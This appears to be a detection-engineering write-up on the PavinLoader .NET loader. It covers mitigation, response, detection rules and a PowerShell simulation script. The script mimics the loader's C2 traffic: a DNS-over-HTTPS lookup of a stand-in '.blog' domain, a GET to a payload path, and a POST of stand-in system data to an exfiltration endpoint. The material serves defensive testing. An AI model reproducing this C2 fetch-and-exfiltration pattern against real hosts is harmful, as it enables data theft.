PavinLoader Unveils a New Multi-Stage Attack Chain
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
PavinLoader is a multi-stage .NET loader used to deliver information stealers and backdoors. It relies on a sophisticated custom virtual machine to hinder static analysis and uses a gatekeeper stage to profile systems before releasing additional payloads. The campaign also employs rapidly changing infrastructure, including DoH resolution and frequently rotated C2 domains.
Investigation
Researchers analyzed a November 2026 sample involving a trojanized phone-number library and a renamed MSBuild executable. The investigation uncovered a custom 256-opcode instruction set driving the loader logic and a hardware and VM scoring mechanism designed to evade sandbox environments. Analysts traced the execution chain from an Inno Setup installer to a second-stage .NET DLL named Pegasus.Common.
Mitigation
Defenders should monitor for renamed MSBuild executables and .csproj files using the UsingTask element to load DLLs from user-writable directories. Network controls should flag DoH requests to newly registered .blog domains followed by HTTPS connections to the resolved addresses. Strong endpoint detection for unusual MSBuild process behavior is also essential.
Response
When PavinLoader activity is detected, isolate the affected host to prevent second-stage payload execution or data exfiltration. Perform memory forensics on the MSBuild process to recover the injected Pegasus.Common DLL. Review network telemetry for connections to suspicious .blog domains and investigate unusual User-Agent strings such as Microsoft BITS/7.8 on unexpected systems.
Attack Flow
Detections
Suspicious RunMRU Entry With LOLBin Semantics (via registry_event)
DoH and DNS Command and Control Channel (via proxy)
Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via dns)
IOCs (HashSha256) to detect: Inside PavinLoader’s New Chain
IOCs (SourceIP) to detect: Inside PavinLoader’s New Chain
IOCs (DestinationIP) to detect: Inside PavinLoader’s New Chain
PavinLoader Detection via DNS-over-HTTPS and Network Behavior [Windows Network Connection]
PavinLoader MSBuild Execution via Malicious .csproj File [Windows Process Creation]
Simulation Execution
-
Attack Narrative & Commands: An adversary has gained initial access and is deploying PavinLoader. To evade traditional DNS monitoring, the malware uses DNS-over-HTTPS (DoH) via Cloudflare to resolve a command-and-control domain ending in
.blog. Once resolved, the malware performs a GET request to[domain]/5C4NX/getto fetch a secondary payload. After receiving the payload, the malware sends an exfiltration POST request to[domain]/5C4NX/eventcontaining stolen system metadata. The proxy must see the DoH query, the GET request, the 302 redirect (simulated), and the POST request to trigger the rule. -
Regression Test Script:
# PavinLoader Simulation Script $TargetDomain = "malicious-payload.blog" $DoHUrl = "https://doh-1.1.1.1/dns-query?name=$TargetDomain" $C2Base = "http://$TargetDomain" Write-Host "[+] Step 1: Simulating DoH Query to .blog domain..." -ForegroundColor Cyan # Simulate the DNS query through DoH Invoke-WebRequest -Uri $DoHUrl -Method Get -UseBasicParsing | Out-Null Write-Host "[+] Step 2: Simulating GET request for instructions (5C4NX/get)..." -ForegroundColor Cyan # The rule expects a GET to the specific path # We use -SessionVariable to simulate a persistent connection if needed Invoke-WebRequest -Uri "$C2Base/5C4NX/get" -Method Get -UseBasicParsing | Out-Null Write-Host "[+] Step 3: Simulating 302 Redirect response..." -ForegroundColor Cyan # Note: In a real simulation, the C2 server returns the 302. # For a local script, we are triggering the 'selection_redirect' via the proxy seeing a 302. # This step is assumed to be part of the C2's response to the GET request. Write-Host "[+] Step 4: Simulating POST request for exfiltration (/5C4NX/event)..." -ForegroundColor Cyan $Payload = @{ data = "encoded_system_info_here" } Invoke-WebRequest -Uri "$C2Base/5C4NX/event" -Method Post -Body ($Payload | ConvertTo-Json) -ContentType "application/json" -UseBasicParsing | Out-Null Write-Host "[!] Simulation Complete. Check SIEM for PavinLoader Detection." -ForegroundColor Green -
Cleanup Commands:
# No persistent files were created by this simulation script. # If any temporary files were used for the payload, they should be deleted. Remove-Item -Path "$env:TEMPpavin_sim_test.tmp" -ErrorAction SilentlyContinue Write-Host "[+] Cleanup Complete." -ForegroundColor Green